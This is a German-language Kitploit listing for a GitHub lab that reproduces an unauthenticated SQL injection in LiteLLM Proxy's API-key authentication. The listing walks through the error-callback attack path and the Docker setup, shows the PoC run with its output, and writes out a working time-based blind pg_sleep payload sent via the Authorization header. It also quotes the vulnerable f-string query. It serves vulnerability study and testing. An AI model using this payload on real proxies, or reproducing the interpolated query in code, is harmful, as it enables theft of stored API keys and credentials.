Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-42208_lab — Reproduktionsumgebung für eine kritische SQL-Injection in der API-Key-Authentifizierung des LiteLLM-Proxys, mit einem zeitbasierten Blind-PoC und Docker-Setup zum Testen. | Kitploit
Tools/GitHubGitHub/imjdl/cve-2026-42208_lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubimjdl/cve-2026-42208_lab

CVE-2026-42208_lab

Reproduktionsumgebung für eine kritische SQL-Injection in der API-Key-Authentifizierung des LiteLLM-Proxys, mit einem zeitbasierten Blind-PoC und Docker-Setup zum Testen.

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

LiteLLM Proxy SQL-Injection (GHSA-r75f-5x8p-qvmc)

Eine Reproduktionsumgebung für die SQL-Injection-Schwachstelle im API-Key-Authentifizierungsablauf von LiteLLM Proxy.

Zusammenfassung der Schwachstelle

ElementDetail
AdvisoryGHSA-r75f-5x8p-qvmc
TypSQL-Injection (CWE-89)
SchweregradKritisch
Betroffenlitellm >=1.81.16, <1.83.7
Behobenlitellm >=1.83.7 (Commit 4dc416ee74)

Angriffspfad

Die Injection erfolgt im Fehlerbehandlungs-Callback-Pfad, nicht im Hauptauthentifizierungsablauf. Wenn ein Token ohne sk--Präfix gesendet wird, schlägt die Assertion fehl und das rohe (ungehashte) Token fließt durch die Fehler-Callback-Kette in eine SQL-Abfrage, die f-String-Interpolation verwendet:

root@kitploit:~
HTTP-Anfrage: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") schlägt fehl
  → _handle_authentication_error(api_key=RAW_TOKEN)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=RAW_TOKEN)
  → get_data(token=RAW_TOKEN, table_name="combined_view")
  → SQL: WHERE v.token = '{RAW_TOKEN}'  ← INJECTION

Der Hauptauthentifizierungspfad mit sk- ist nicht ausnutzbar, da Tokens vor Erreichen der Abfrage SHA256-gehasht werden, wodurch nur [0-9a-f]-Zeichen entstehen.

Reproduktion

1. Verwundbare Umgebung starten

root@kitploit:~
docker compose up -d

Dies startet LiteLLM Proxy (v1.83.3-stable) mit einem PostgreSQL-Backend.

2. PoC ausführen

root@kitploit:~
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

Erwartete Ausgabe

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed

Technische Details

Payload-Konstruktion

Die pg_sleep()-Funktion von PostgreSQL gibt void zurück, das nicht in einem booleschen Kontext (OR) erscheinen kann. Der Payload umschließt sie in einer Unterabfrage, um den Typfehler zu vermeiden:

root@kitploit:~
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

Dies wird in die combined_view-Abfrage in litellm/proxy/utils.py injiziert:

root@kitploit:~
# Verwundbarer Code (<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← f-String-Interpolation von Benutzereingaben
"""

Auswirkungen

  • Ohne Authentifizierung — kein gültiger API-Key erforderlich
  • Datenbank-Lesezugriff — beliebige Daten per Blind-Injection extrahierbar (API-Keys, Anmeldedaten, Konfiguration)
  • Alle LLM-Provider-Keys, die vom Proxy verwaltet werden, sind gefährdet

Referenzen

  • GitHub Security Advisory
  • Fix-Commit 4dc416ee74
  • Sysdig TRT Threat-Intelligence-Bericht — Ausnutzung in freier Wildbahn innerhalb von 36 Stunden nach Offenlegung beobachtet
Tool herunterladen